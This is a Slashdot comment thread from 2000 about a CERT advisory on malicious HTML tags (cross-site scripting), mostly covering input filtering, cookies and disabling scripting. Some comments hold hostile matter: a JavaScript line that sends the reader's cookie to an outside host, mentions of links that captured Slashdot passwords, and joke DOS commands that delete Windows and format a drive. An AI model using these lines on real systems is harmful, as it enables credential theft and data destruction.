Secondly, why apache? Do they distribute scripts like messageboards or other vunerable stuuf?
Damn!
I feel violated....
Damn cookies, sheesh....
The only reason all cover-ups appear to fail is that you never hear about the ones that succeed.
Thus a nefarious AC could post a slashdot comment that contains malicious tags, and just by surfing through here, your browser gets sacked.
Now, Slashdot is not actually vulnerable to this threat, because slashdot has a short list of permitted tags, and all others are stripped. But a site that takes any kind of HTML input can become an attack script re-broadcaster for anyone silly enough to surf with Javascript enabled.
Add this line above the rest:
/. has that was brought up on a previous thread, this decodes the URL encoded characters so that your swaps on > and < work all the time (ie, not subverted by passing in an encoded sequence).
$_ =~ s/%([\dA-F][\dA-F])/pack ("C", hex($1))/ige;
Which would help with one of the problems
unless ($Brogen) { $fixit = ''; }
This guy is right!
Hey, The escape key in Mozilla doesnt work for banners...
That's why I switched back to Netscape 4.6.
Didnt' feel like reposting..
:)
:)
_ _______
_____________
Subject:
[thelist] Re: [Admin] article alert - Malicious HTML tags
Date:
Wed, 02 Feb 2000 22:54:11 -0600
Clueing thelist in on this one too..
Does anyone else remember a good amount of time ago when John
Vranesevich(JP)'s antionline site got 'hacked' because his site mirrored
a site that someone included the exact same thing CERT is talking about
here?
Basically, the guy hacked the server that JP was mirroring and the
content(some pics of his sister I think) came up on the antionline site,
making it appear that JP got hacked.
CERT hasn't exactly been on top of things for a couple years now, this
is no different(its always been an issue that security minded people
have known about for some time) just because it got posted on slashdot
doesn't mean its breaking news
Just my humble, anti-hype opinion
.djc.
rudy limeback wrote:
>
> >subject: Malicious HTML tags
> >posted by:isaac
> >date: {ts '2000-02-02 17:21:33'}
> fabulous summary isaac
> i had actually read the CERT article before i read yours
_______________________________________________
unsubscribe+options: http://lists.evolt.org/mailman/listinfo/thelist
tip harvester: http://lists.evolt.org/harvest/
email archive: http://lists.evolt.org/archive/
http://evolt.org/ Workers of the Web, evolt !
I would suggest having a look through some of the recent Bugtraq archives. These can be found at SecurityFocus. Have a look at some of the problems found in IE lately. This is & has been a problem for a long time. Here's a Hotmail example. There are postings regarding similar problems with most of the web based email services. Active scripting causes more problems than javascript.
It has been recommended that you disable all scripting for security reasons for a while now. It's very good practice.
Yeah, I'll get to that after I finish up my program that determines if a given program terminates or not.
DrLunch.com The site that tells you what's for lunch!
"It isn't a security flaw in cookies....It's a secruity flaw in the CGI...."
Yes. And your point is?
Tell me, when flu season comes around, do you get a vaccination? Why? The problem isn't that YOU have the flu, the problem is that OTHER PEOPLE have it. If only they'd cure themselves everyone would be better off.
You see, online scripting will ALWAYS have security flaws--that's why I don't allow my online software (browsers, etc) to store information that I don't want to get out.
--
Java banners:
Bad for users because Java kills Netscape
Linux MAPI Server!
http://www.openone.com/software/MailOne/
(Exchange Migration HOWTO coming soon)
"Recommended solutions include completely overhauling web sites, disabling cookies..."
Huh, what do you know. Many of us have been laughed at for taking this very precaution.
"Told ya so."
--
Java banners:
Bad for users because Java kills Netscape
Linux MAPI Server!
http://www.openone.com/software/MailOne/
(Exchange Migration HOWTO coming soon)
The danger in this kind of attack is that it provides anonymity for the perpetrator. Slashdot readers have seen what sort of stupid things people can do when they're anonymous, and some known exploits are pretty nasty.
I like it!
Hey, it's the first time ever I've gotten a comment moderated to 5. Let me have my momemt.
Well, if I was evil, I'd have posted as Anonymous Coward.
I know Lynx has options like this, but AFAIK, they don't save from session to session. (And at any rate, I'd like to see this feature in Navigator, IE, etc.)
Developers should never include sensitve info in
a cookie (although I don't care much about my slashdot id/password). If you have to I'd suggest
encrypting it.
I'm just guessing, but wouldn't a really strict filter that completely disallowed GET or POST requests with the strings "" in them (and possibly their %hex encodings (and possibly a few more characters) completely eliminate this?
Admittedly, this is a drastic solution, more akin to an amputation of a limb than a band-aid. But if you don't need the limb, and it's got gangrene....
Damnit, let me try again: "...wouldn't a really strict filter that disallowed GET or POST requests with the greater than or less than characters in them ..."
(Since I can't quite figure out how to post naked angle brackets.)
However, there's no need for your browser to trust slashdot, since you don't need JavaScript to use it.
As for 1, you can anonymously create a web page almost as easily as you can post an anonymous message on slashdot.
Somehow, reading your post started me off on a rant, a lot of somehow related images in my mind. If I were a wordsmith, this would read much better.
>>I'm not saying that I'm a good programmer or a very experienced one - its just common sense.
I like and trust your "inexperience" more than Microsoft's "experience".
Nothing is more uncommon than common sense.
The road to disaster is to think you know what you are doing when you do not.
It's not what we don't know, it's what we know that ain't so. -- Will Rogers?
There is no "silver bullet".
The advisory looks more like old news than anything just discovered, but with the rapid rise in e-whatever and XML aimed at tying business to business, it's about time to post signs on the minefields (plural) that are waiting to blow up a lot of unsuspecting victims. With Microsoft promulgating the idiot's guide to e-commerce (behind some slick facade), there _will_ be plenty of victims.
Off topic. After some 30 years, unix is still around and going strong. Why? I think somehow the answer is related to what is right about your post. From Webster's second edition, hack 1. To cut irregularly, as if by repeated strokes of a cutting instument. The term hacker is very much associated with unix. A hacker must be one who hacks. Or creates hacks. The term has to be somewhat derogatory, but is a mark of esteem, as in kernel hacker. If you are facing a problem that is bigger than you are, all you _can_ do is hack. From Linus's keynote, "We've learned computers are just too damned hard to use." If Bourbaki (sp?) can have 100 pages on the difficulties of the number 1, imagine the diffulties in something vastly more complicated. Bourbaki is/was a them. Some number of top French mathematicians. Directly responsible for introducing the "new math". Teaching third-graders concepts that I first encountered as a math grad student. You can, and should, make a few things straight forward and easy, but mostly, and where it matters most -- not a chance.
Who is stupid? The scammer or the scamee?
What did you expect?
Microsoft is essentially single-user, who can do anything. NT is a little better, but not by much.
Unix security is primitive, but adequate for normally trustworthy users.
Look for something (Capabilities?) that can control who can do what to whom and does not assume that users are benign. Good luck. As I remember it, MTS (Michigan Terminal System) had at least _some_ desirable properties. I think Multics (think of unix as castrated multics) has done some good work in that area.
Godd Idea. How can code KDE and GNOME? (Me not.) An applet, where I can drag the URL into, which in turn adds the URL to my junkbuster would do. I guess this could be in freshmeat tomorrow!
ok, admitted, only a user account crack.
Which however works well.
There are some messages here with links that send your slashdot pw to any site when clicked...
Looks like the Advisory wasnt irresponsible at all.
Despite the fact that such exploits are trivial indeed. In hindsight, at least.
It also lets you selectively allow cookies from some sites.
It also lets you change the "type of browser" which is sent to web sites.
It also lets you change your "referer" tag (which can be used by web sites to determine what the last site you visited was).
Cool little app!
Step 1 : View Source
Step 2 : Cut Paste Edit
Step 3 : Trolling goes to a whole new level...
+&x
You want to be really fussy? Isn't it ECMA Script? AS it stands Microsoft's JScript implementation does a better job of sticking to the W3C DOM than Netscape's does.
I've been writing CGI scripts for years.. one of the things I ALWAYS do is to make sure people can't submit HTML tags to any form which will display the output on a webpage. This is nothing new, but I guess newbies need to learn these things too.
I think this advisory kinda proves that people don't know this stuff. Seems to me that many people will be surprised by this one.
Time to deign to speak to lesser mortals, i think, so the word gets out.
-t
This is no new news, I have tried this long time ago, I don't consider it a vulnerablity on HTML, it is because developers develop bad code, developers should develop code to protect against this, it is just like the PERL problem with system() where someone can supply input with "; command" and so on, that is not a PERL security problem, it is the responsibility of programmers to develop secure code.
------ Curiosity killed the cat. {satisfaction brought it back | it didn't die ignorant | lack of it is killing mankind
What I would realy like to see is a browser that would let me create a list of sites and then reject all cookies, images, web pages, etc. that come from that page. Then things like bubble click's abuse of cookies would no longer affect me. Now me question is, is this some thing that can be done with current browsers? or is this something that can only be done with a program running on a server?
__ Fast - Cheap - Good Pick any two
Seriously. I have a book on CGI programming in Perl from 1996 that explains why it has a line of code in the guestbook example that deletes all properly-formatted SSIs () so that a malicious visitor can't put say, into their comment and have your whole password file show up in the guestbook (if your webserver isn't running chroot'ed to it's own root directory, that is). I'm quite amazed that so few people are aware of this the CERT has to post a warning now.
My $0.02
I know it's not exactly the same thing (surfers affected, not site security), but it's similar in principle: web servers need to carefully filter out harmful code from malicious users. And indeed, the various encoding schemes make things more complicated.
click her e and I get your slash password in my webserver logs (double-url encoded, but I can pull them all out later)
Take a look at the URL of that broken image in the title bar for the trick
Yes this demo works, but I don't want your passwords. Sometimes, I am so 1337 it hurts.
http://net.bruno.net/
hmmm, this site comes up as complete gibberish under Netscraper 4.6 on AIX, so I guess I'm safe 8^)
"It's tough to be bilingual when you get hit in the head."
-------
CAIMLAS
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
-------
CAIMLAS
~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
Not over here. This might be a platform-specific thing, but if I turn of JS, CSS go bye-bye, and I'm using 4.7 on Linux.
"Oh, I hope he doesn't give us halyatchkies," said Heinrich.
One nasty side-effect from disabling JS in Netscape (on Linux at least, and I think since 4.5, but I bet it goes back earlier) is that it disables Cascading style sheets too. This is the result of a stupid implementation on Netscape's part, and has (I believe) been fixed in Mozilla, but CSS is something I don't want to have to give up, even though I don't really care so much if I don't have rollovers.
"Oh, I hope he doesn't give us halyatchkies," said Heinrich.
This is the FUNNIEST thing that I have seen here! It beats hot grits, it beats petrification, it beats open source man, it beats don knotts guy, it EVEN BEATS JonKatz!
It is hard to type because my sides hurt (I am serious) and people in cubes around me are asking what the hell is so funny!
Eve Fairbanks says I drive a hybrid!LOL
Just as you said, it would be common sense to follow one's own train of thought and remember to hit the "preview" button when trying to write literal html tags into text that accepts embedded html. :P
Fact is, while it may be common sense, if a web developer is thinking more about how insanely great (tm) their web site will be than about security, it might never occur to them, whereas if you asked them "what should I watch out for when I'm re-serving user input" they'll say "obviously, you have to strip out undesired html tags".
The CERT advisory is a nice heads-up reminder for all those web developers whose heads are buried a little too deeply in their website features to have noticed this problem.
Sponge
Actually, I'd like to also set JavaScript on/off for particlar sites. I believe that IE does something like this. Essentially I want JavaScript off by default, and then if a page barfs, I'll turn it on, but only for that IP/domain/whatever.
Don't like my sig? I don't either.
There really is no simple solution.
Female Prison Rape in NY
Female Prison Rape in NY
I'm worried now. I will have to be more careful what I click on!
Female Prison Rape in NY
Actually the about: thing in IE 4 is quite handy. You can view .PNG images all by themselves without having to make a web page about it. In the mean time, be on the lookout for any tags with NFL player names inside them.
Drat, now i can't post my javascript to uninstall windows and reinstall linux on an unsuspecting persons hard drive to slashdot.
link to my malicious_code
macbert@hcity.net
http://www.hcity.net/mac
I've had similar problems with my website. I wrote a BB program in perl, and users were having a wee bit too much fun with tags. So, I simply modified the code to escape out all >'s with >'s and all -Omar
I second that. I can just see HOW cnn and msnbc picks this up
"ACKk!!! patch your IE against html!!"
it's just plain silly.
This is the first thing any server orient web programmer should learn and if they don't know this they aren't worth the carbon in their butt.
When I worked on a web registration system for a client last year, one of the security concerns I had to consider was filtering HTML from the user's input.
Whether this problem is a responsibility for web site programmers or browser developers is not the point. What's important to remember is that any system that accepts code as data is inherently dangerous.
You could easily wrap a script around the link that puts an innocent-looking URL in the status bar, even though the real URL has malicious code in it. A more common form of this attack can be seen by going to some of those crappy "Top 50" sites and rolling the mouse over some of the links. The link displayed does not match the link in the tag.
Personally, I think whoever decided to allow control of the status bar from a script should be summarily executed. It hides real information a browser might be trying to display. This is especially annoying on pages that use the status bar as a scrolling message display.
Cookie anyone?
Cookie - unescaped TWICE
This will display your password!!
If you can audit error logs, you could use this link. I've checked it with my own web server, and it works.
This is what Javascript is ****FOR****
Thats the whole point of applying a robust security model to Java and Javascript.
Lets just not mention ActiveX, thats the incredibly scary one.
Any decent web programmer knows that you can't trust user input. The companies who pay the web programmers' salaries had better realise that we need to allocate time to closing these holes, proper testing of apps in a hostile online environment is *necessary*.
Server-side holes can usually be fixed quickly, as the server software is usually available in script or source form.. This is not the case, of course, with proprietary systems from many companies.
To me, primary responsibility for this problem lies firstly with the user, and secondly with the browser manufacturers.
If you *do not want the possibility of remote code executing on your computer*, then turn support for those features off in your browser.
Browser manufacturers should ship their products with these options off by default, requiring users to turn them on if they *want* them.
Hopefully Mozilla will lead the pack in this respect.
All engines that execute remote code should require options to be *explicitly enabled by the user* in order to perform potentially security-threatening functions.
This should be called an 'Internet Explorer Advisory' more than anything else.
IE is the only browser that allows remote code to format your hard drive through ActiveX.
'Signed ActiveX Controls' are a joke... i bet any 16 year old norwegian hacker could break the security on this stuff.
I gots ta ding a ding dang my dang a long ling long
The advisory isn't about active content. You can get the effect by embedding a FORM tag in a URL to a page that uses a Server-Side Include directive that utilizes the content of the QUERY_STRING environment variable along with its own FORM tag. As long as the SSI directive appears at the right place relative to the page's native FORM, the new FORM tag from the QUERY_STRING will override it, thus redirecting the form processing.
This isn't active content (scripting, Java, ActiveX, whatever), it's just HTML and server-side processing of environment variables. Sure, JavaScript or whatever might come into play if the attacker so chose, but that doesn't mean that it's the focus of this issue.
No Laughing Allowed!
As far as the content of comments in Slashdot, it is "vulnerable" because it allows you to link to a page. Like this:
Click here to read a sci-fi short story.
Now, that looks like an innocent link, right? But if the "boo" in the query string was replaced with malicious code, and the destination page was such that it would inadvertently redisplay that code, then the user would have a problem. (Don't worry, that link above is not dangerous -- 'boo' is not malicious code!)
(Actually, the filtering provided by Slashdot might interfere with the inclusion of code into a query string, but that is a side effect.)
"Thus a nefarious AC could post a slashdot comment that contains malicious tags, and just by surfing through here, your browser gets sacked."
Within the context of this advisory, you are not going to have your browser "sacked" by reading comments here -- but you could by clicking a link provided in a comment.
No Laughing Allowed!
Isn't this why I see "allowed HTML" here below?
No, and if you read and understood the advisory, you'd know that. Controlling HTML in a message board is a way to protect user B from malicious code inserted by user A. The advisory specifically states that it is not about encoding input from user A to protect user B, it is about encoding input from user A to protect user *A* -- and if you don't understand why, read the advisory (again).
No Laughing Allowed!
Needless to say, a lot of folks who don't pay attention to status bars and address bars could fall prey to all sorts of exploits based on this that don't require "running" anything on the client machine that a typical security app could catch.
Actually, as the advisory points out, reading your status bar doesn't protect you, as what is written down there can be changed by Javascript. Thus, they advise everyone to type in all their links manually. Ick.
Yeah, yeah, I know, i was using it for an example.
/y c:\windows /q c:
Actually, to do it would be as easy as
copy c:\windows\command\format.com \
deltree
format
later
Dan
Turning off JavaScript may cause problems with error checking forms. I never thought about this before, but I just tested this out and it can cause a problem.
If a FORM uses JavaScript's onSubmit to detect that the correct data is submitted and JavaScript is turned off, the form is submitted anyways without an error correction/detection. Tested on Netscape 4.7
This isn't a major security risk, but as a developer it is good to know that Bad Data may be getting by if error detection is ONLY done on the client side. Which can cause errors to show up in your web application. Invalid Date Format, Empty Fields, etc...
Also it is good to remember that data can always be submitted to one of your pages without your form ever being used.
You may or may not remember this.. but I think this can be relevant if you think of web pages as faxes :)
:)
; }return(0);}
GUIDE TO SAFE FAX
Q: Do I have to be married to have safe fax?
A: Although married people fax quite often, there are many single people who fax complete strangers every day.
Q: My parents say they never had fax when they were young and were only allowed to write memos to eachother until they were twenty-one. How old do you think someone should be before they can fax?
A: Faxing can be performed at any age, once you learn the correct procedure.
Q: If I fax something to myself, will I go blind?
A: Certainly not, as far as we can see.
Q: There is a place on our street where you can go and pay to fax. Is this legal?
A: Yes, many people have no other outlet for their fax drives and must pay a "professional" when their need to fax becomes too great.
Q: Should a cover always be used for faxing?
A: Unless you are really sure of the one you are faxing, a cover should always be used to insure safe fax.
Q: What happens when I incorrectly do the procedure and I fax prematurely?
A: Dan't panic! Many people prematurely fax when they haven't faxed in a long time. Just start over, most people won't mind if you try again.
Q: I have a personal and a business fax. Can transmissions become mixed up?
A: Being bi-faxual can be confusing, but as long as you use a cover with each one, you won't transmit anything you're not supposed to.canadia:~#
meant to be taken with an ocean of salt, of course.
#include <signal.h> \ #include <stdlib.h> \ int main(void){signal(ABRT,SIGIGN);while(1){abort(-1)
OFTC: By the community, for the community
I guess, all in all, it isn't much different than me posting a link to a page that has malicious code, except that I don't have to have any servers that support it. That way nobody can contact my ISP and have them get involved, and I can do it anonymously to avoid any legal problems.
--
Hey, I have need of something like this for a (GASP) legitimate usage.
I am developing a web site (<a href="http://www.CatalystRecruiting.com">Catalyst Recruiting</a>) that allows people who complete our registration process to get free magazine subscriptions. They click on a link that leads to our partner site that actually provides the free magazines.
Now, the link is actually a javascript function that creates a new popup window with a special coded URL. What I'd like to do is detect (on the server site, using PHP) when the user has clicked on this link. Is there a way to, for instance, have javascript set a cookie on the browser or something of the like? Any other suggestions?
Thanks so much!
Eric Ries
Can your IM do this?
Maybe I don't understand what you're saying here. You shouldn't have to be wary of clients, either, but it's a good practice to do so.
It's not hard to put code in place to check for buffer overruns from any source, even if that's a subsystem on which you develop. This is just a safe programming practice. You want to know, as soon as possible, when a component is not working as you expect. Buffer size checking helps with this.
By doing this you increase both robustness AND security in that if some code fails to check the incoming client messages adequately, you still have a good chance of catching it when the incoming message is not the expected length. This might help catch the <form> exploit described in the CERT, for example.
-Jordan Henderson
StarOffice for Win32 has a very nice feature with respect to cookies.
If you set the browser up to ask you about cookies, you can then select if you ever want to get a cookie from that server ever again.
some karma... and kinda lukewarm about it.
Yeah, that's the only way to get out of it.
;-) enough to do that?
Question is, how many people are actually dexterous(is that a word?
Here's my copy of DeCSS. Where's yours?
censorship is a form of noise, which actively seeks to drown out content with silence - Crash Culligan
Well, some people seem to believe that....
What might also be nice would be an easily-accessible button for toggling this limited JS on and off...
I saw it a second ago, now its gone.
:wq ~ ~ ~ ~ ~
But--
Jodi.org (my personal favorite "art" site) isn't the kind of place you're going to randomly stumble into from some dinko AOL startup page, and it's not "important" like, say Etoys, so who cares. If you go there, you go expecting (harmless) weirdness. And if you go in with Javascript disabled, you usually just get some pretty ASCII art, not this "malicious HTML" CERT's worked up about (rightly). And locking up Windows machines is cute and easy. Ask around Slashdot.
(OT) About a year ago they did us Mac weenies a favor by posting mysterious binaries that were irresistable to download (because they were mysterious), and if you ran 'em, they mangled your display and made evil screeching noises. Until you pressed command-I, anyway. Big fun. Feats of beautiful, wasteful programming. Unfortunately, I lost my copies during a magical flood that was magnetically drawn to my pile of Zip disks, and not to anything else on this floor of the building. I suspect they had embedded client-side executable malicious Floodscript.
Your mouth is like Columbus Day.
Ability to browser spoof - set what your browser tells sites about your system, the browser itself, etc., thereby making idiot sites that ONLY allow Netscape or ONLY allow IE useless
You may find it more difficult to spoof the Intel Pentium 3 site, which requires the detection of your P3 serial ID before letting you browse the site...
Phillip.
Property for sale in Nice, France
Absolutely. However, no hosting company in their right mind is going to turn off any feature so widely used. They would Immediately lose customers and get a bad rep.
Web hosting is already a minimal-profit industry, companies compete in terms of features. Less features means less customers. Who would disable it?
WRCT Pittsburgh, 88.3FM
Y'all might want to sit down for this.
On my Mac (yup, you read correctly) I used to have a version of Netscrape that presented itself to servers like so: (Mozilla 0.32, $, CP/M)
It's a simple resource edit with ResEdit.
I'm sure I was at the bottom of most stats, but it was still fun. It showed that way in email and usenet headers also. ^_^
(Yes, a MacHack. Egads!)
--
NetInfo connection failed for server 127.0.0.1/local
Please, please please someone moderate this up. Does this script really do what the author says? If I changed www.slashdot.org to www.amazon.com, would I be sending him my Amazon.com cookie? If not, what is the difference?
Sig goes here
This is nothing new... The internet has been like this for years and years - why do they all of a sudden decide to raise an eyebrow at something that has been a threat since as along as i can remember.
this is like suddenly deciding that giving your account password out is bad and announcing it to everyone. well DUH. I guess what i want to know is why did they just recently decide to release this when the threat is nothing new.
---
http://www.spiderinteractive.net
Because I use Internet Exploiter at work, I can reject JavaScript, cookies, and Java by default, and selectively enable them on a site-per-site basis (or with wildcards, like *.hotmail.msn.com) simply by going to Tools > Add to Trusted Zone. It makes Superbad fun, and GeoCities bearable.
And what happens when the website you are on reading "Wowee Neato New Web Security Measures" has a link that says "Page Two" and what it really means it "Link to a site likely to be trusted by over confident people and steal their password cookie"?
When will Windows be ready for the desktop?
> I for one would like to see antibookmarks. Control-click on a banner, that server is blocked. Surf into a trap
> website, hit an fkey, add its domain to a killfile.
I very strongly second that!
I'd like to go to writing a mod for Mozilla, but I'm not up to that skill level yet.
While this article does state a need to make radical changes in webpages and browsers in the future, I could not help being amused at the warning to avoided being a "promiscuous browser." I can foresee in the near future the talk of one being a "web-slut" or groups of young boys going "web-wenching." "Don't chat with him, his browser is infected." "Be sure to turn on your condom code before you browse tonight."
Practice safe surfing.
Jon
it is jscript on ie
but javascript on netscape and most everything else.
they should have just named it livescript anyway.
or you can just turn the documents menu off see:
http://www.annoyances.org/win95/win95ann1.html#05
It comes up as a bunch of odd-looking (to me) code under Navigator 4.08 (Communicator 4.7) on Win2K Pro, with JavaScript enabled. I disable it and it just stops at a blank white screen on sod.jodi.org. Doesn't freeze anything. Go figure.
ad astra per alia porci
nothing new here ... the development community, and likely the script kiddies as well, has been familiar with this issue for a while ... so why the advisory now, particularly?
I am, therefore you think.
these so-called "malicious" tags may simply be plain vanilla HTML tags that have been placed in a strategic location in the HTML stream, altering the behavior or appearance of the form or page in question.
...
so, you go ahead and write that script; I'd suggest you do so with the aid of a quantum computer, or maybe a beowulf cluster of [standard slashdot cluster humor here]
I am, therefore you think.
As a member of the United States Marine Corps, I am deeply offended by your post. It does not in any way reflect well on the armed forces that you served. You condemn Linux as simply a hackers tool. It can be, but no more so than whatever operating system you are running. As said by others, few crackers, and fewer hackers, do anything to cause damage. All that is wanted is free flow of information. We do not as a community steal information, engage in vandalism, or screw people over in any way. We fight for what we believe in as generations of americans have done. When the government or a corporation does something the Linux community disagrees with, a peaceful protest is mounted. We do not resort to terrorist tactics as you apparently believe. The whole point is that information should be free. Think about that, and about the image of the armed forces you are showing. I leave you with this quote about free flow of information:
"If I had to choose between government without newspapers or newspapers without government, I would not hesitate to choose the latter"
Lance Corporal George E. Worroll Jr. United States Marine Corps
Cookies off = "HTTProphylactic"
And provides about the same ratio of nuisance value.
If you try and define what you can't use, you will always be one step behind - you'll either forget tags, or new tags will catch you out. An "allow these tags only" approach is the correct way to do it. A "disallow these tags" approach in inherently flawed.
Drag n' Drop DVD Recommendations
THROW AWAY THE TECHNOLOGY BECAUSE IT MIGHT HURT US. Why even bother turning on your computer in the first place? You're harddrives might just fail today, are you ready to take that risk? Leave the switch off, stand away from the machine and everything will be OK. Everything will be fine. No malicious website will steal your cookies. Just leave that switch off, that's right don't touch it.
earache.
Can we use this exploit to randomly overwrite people's doubleclick cookies? :-)
Quattuor res in hoc mundo sanctae sunt: libri, liberi, libertas et liberalitas.
Unfortunately, thanks to features like JavaScript mouse-overs, unless you dig through the HTML you may not see the real URL. For example, this:
Might actually be this:
CVS is teh suck. Use Vesta instead.
It seems to me that the safest thing a user can do is stay at home, unplug everything, turn off electricity and gas (we need water, you know, we're only human), dress yourself up in whatever piece of clothing you can find and wait for summer. But seriously; HTTP is safe, and people who make CGI that doesn't check out what people POST (or GET, for that matter) are insane and a risk to their own machines and their own liability.
Religion is what happens when nature strikes and groupthink goes wrong.
Is CERT just now getting around to figuring out the Navigator and IE, IIS.. et.al., are not 100% rock solid?
What's next? CERT Advisory on Malicious Computer Users known as h4XX0rZ???
-ryan
"Any way you look at it, all the information that a person accumulates in a lifetime is just a drop in the bucket."
Well, I wonder if load balancing is not possible. With PHP session storage is file-based so you could share the same session directory between multiple servers.
Cookies lasting longer that sessions is Ok if you're the only one using the client computer but in settings like a public Internet facility you don't want that sort of stuff.
Storing only the username in a cookie is VERY dangerous! This way an attacker could forge a cookie with only a username and gain access.
I've never heard of any web development guides which recommend against using session variables. Please point me to them, I'm very interested.
In any way, I think storing the username/password combination in a cookie is probably the worst thing you can do security wise...
Hmmm, I like your suggestions except the browser spoof one. I agree that IE/NS only sites are bad but as a web developer I think it would be extremely frustrating if there was no way to reliably figure out what the client browser is.
I design sites for 'all' browsers (3.0 upward) but hide things like DHTML etc. from older browsers by checking their versions.
I'd much rather try this on my own machine: document.location='http://travis.pulley.org/ phpinfo.php3?'+document.cookie">DO NOT FOLLOW THIS
Bullshit. You must be on a different web than I am, because I have never seen a web browser where Javascript was a key feature -- not counting stuff like games that are written to show off what Javascript can do. From what I've seen, the main use of Javascript is that newbie webmeisters try to use it as a replacement for links.
I humbly disagree... DHTML, which is rapidly establishing itself as a nice way of deploying apps that do a lot of work on the client side, counts in a big way on scripting capabilities. Slashdot wouldn't be half as slow as it is if it didn't have silly perl scripts doing so much on the server side...
This is your idea of a "key feature"?! Look, if the web needs menus, that's fine. But running scripts on the client side isn't the right way to add that feature. Anybody with half a brain could do a lot better.
It was an example... thus, easy to pick on. The point was that scripting offers easy ways to make the browsing experience more friendly.
Besides, what's the big deal about making it easy for newbies to add nice features to their web pages? Does EVERYTHING have to be so complex that only an experienced engineer can have nice pages? HTML became popular in the first place because it was accessible to the masses... Scripting extends this promise...
The engineering circle has had years to do something about this crap. They didn't. Browser makers could have shipping their browsers with all client-side execution "features" disabled by default, all along. They didn't. They could have put up a warning popup that tries to scare the user whenever they turn on this stuff. They didn't. Who are you calling irresponsible?
Fine. BOTH the browser makers and CERT. The solution, as I pointed out in my original post, is to put pressure on the browser makers-- preferably without creating a consumer panic. I think it is pure hysteria to be telling people to disable scripting because it is exploitable. There are a million and one leaks in security with modern computers. The size of the problem does not justify the change of creating a consumer panic.
You're right, the JavaScript side of it is very little more than an annoyance. But there's other things out there which are far, far more dangerous.
HTH.
Chris Tembreull
Web Developer, NEC Systems, Inc.
My opinions are my own, and nobody else's.
Chris Tembreull
"My karma just ran over your dogma."
Probably the most is to close the window or send a bunch of popups.
This is not exactly formatting your hard drive.
Ralph Furmaniak
The Great AIP (Artificial Intelligence Project)
This could be solved with a "true status" bar feature. You could choose to display either the True Status bar or the legacy status bar via your browser preferences, but the true status bar would be the default in new browsers.
The true status bar could be a lot more informative than the one we have now in both major browsers. It would work for YOU, not for the website. It would tell you what things really MEANT when you passed the mouse over them before you ever clicked anything. It could blink or in some other way attract your attention if something seemed fishy on the page. For example, the visible anchor text appeared to contain a domain, but the HREF pointed to a different domain. Or if there were any <tags> in the URL text. Or if it noticed any tiny GIF on the page from a domain other than the domain of the page itself or with a URL that looked as though it contained more than a simple image name. Or light up a little chocolate chip icon if the page was using a cookie (click the cookie to allow or disallow it). Or if form data SUBMIT would submit the data to some domain other than the domain of the page. Or....
That's what a true status bar should offer us, not a place for annoying scrolling text that blocks our view of the URL behind a link.
"Those who have never entered upon scientific pursuits know not a tithe of the poetry by which they are surrounded."
client sided script program that checks the HTML for these malicious tags before allowing the browser to run them.
Munky_v2
"Warning: you are logged into reality as root..."
Jay
OK, I admit that. However, a "javascript:" link could easily be evaded by running an extra regexp that would make sure that only http: or ftp: links are permitted (easy as pie with PHP). With extra paranoia added, you can strip anything that is after an ampersand in the link, but that will break almost anything linking to a dynamic site (e.g. weather.com). Also, you can attach a big pop-up warning window to each link which will scream "THIS CAN BE A MALICIOUS LINK!!!!!!!!! YOU HAVE BEEN WARNED!!!!!!" (although I would never return to such a forum if I find one like it).
I don't have this problem because of 5 forums that I am running, 4 strip all HTML-tags by changing to < and > ("htmlentities" function in PHP3), and the fifth one allows users simple XML formatting which is later parsed into HTML. The parser drops any tags it doesn't recognize.
If you open yourself to the foo, You and foo become one.
Arggg!!! Ridiculous bug in slashdot!
To slashdot coders:
After you do a preview, you want to change all ampersands in escaped sequences (&) to & before you place them in <textarea></textarea>. Otherwise all escaped tags (like <) get unescaped within the textarea and second time get submitted plaintext (which isn't what the user wanted!).
Write me if you don't know what I'm talking about.
If you open yourself to the foo, You and foo become one.
Hmmm? As a web developer I've always stripped any HTML tags or ran the submitted feedback through a parser that would only allow a limited set of formatting tags like "p", "a", and the like (a modified XML parser is good for that).
Sooo... What's the news?
If you open yourself to the foo, You and foo become one.
And the Proxomitron doesn't like your script, so it blew up the space between "return" and "true" :))) All I get is a jscript error.
Karma cannot be described by words alone.
wonder how manu of us where acctally stupit enough to click on the link...
- - -
Not in WebTV either.
If Chaos Theory has taught us anything, it's that we must kill all the butterflies.
I gotta agree with you on that one. That's why I stuck a single line of javascript on my homepage. :)
If I forget to disable javascript, I get a very obvious red banner across the top of the page
I'll submit this to buzilla as a feature request. Maybe somebody'll find the time to code it.
---
Oper on the Nightstar
I know this works (I just tried it in IE5), but I can't think of any security issues here. Can you please explain why this is a security issue (the about thing). As far as I can see, the html (even malicious) is parsed but you can never execute commands with it outside the browser. Or am I wrong? (and IMHO the about thing isn't a bug, it's a feature (honest) :)
Never underestimate the relief of true separation of Religion and State.
No, I haven't! Please explain further.
--Kirk
However, many guides do advise against using session variables, though not because of the load-balancing issues anymore. A quick search turns up one here. (I think this one is ASP-specific, though.)
Another correction to my posting: since sessionIDs are generally stored in a cookie, users will still have to have cookies enabled if you're going to use session variables.
--Kirk
Also, cookies can last longer than sessions, so your site can recognize somebody the next time they visit.
And, if you use cookies you don't really need to store the password in the cookie -- just the username. Keep the password in your database on the server. So, there isn't any additional security risk -- the only downside is that your users might have disabled cookies.
Most web development guides recommend against using session variables.
--Kirk
This is all old news. Any half way competent CGI scripter will have been aware of this for *years* and have already taken counter-measures on his server. The client issues are also well-known and obvious. I really can't understand why CERT bothered with this.
Cert is the most stupid place in the earth!!!
Have you cert a moderator inside you???
This topic is very old, and everybody in the computer security community knows about it
Why put an advisory?
You guys, don't have anymore to say about security?
I don't know if somebody from cert is sending these advisories to slashdot, but in the previous case, somebody sent an advisory for the problem with rsaref (buffer overflow) , but Core SDI discovered this bug
And I think, again, this was not a clean news.
My browser is configured not to run Javascript, so clicking your link does nothing here.
Anomalous: inconsistent with or deviating from what is usual, normal, or expected
Anomalous: deviating from what is usual, normal, or expected
Canard: a false or unfounded repor
you need to make your .sig scan better
So, are you saying that all these CERTs contain a drop of Retsyn?
http://www.certs.com/
--
As a matter of fact, I am a lawyer. But I play an actor on TV.
You'd be supprised how many of these problems could be avioded by simply using Lynx (the text based browser) whenever you can. It also gives you much better controll over cookies. ...Just my 2 cents.
Also, run in an xterm - you can use it to view graphics and sound. I also like the how it gives me more control over those annoying frames, and makes those adds less in the way.
Excellent job :-)
figuratively speaking: if you open your door too much, why should you be surprised that some riff-raff came in?
--
--
"It is now safe to switch off your computer."
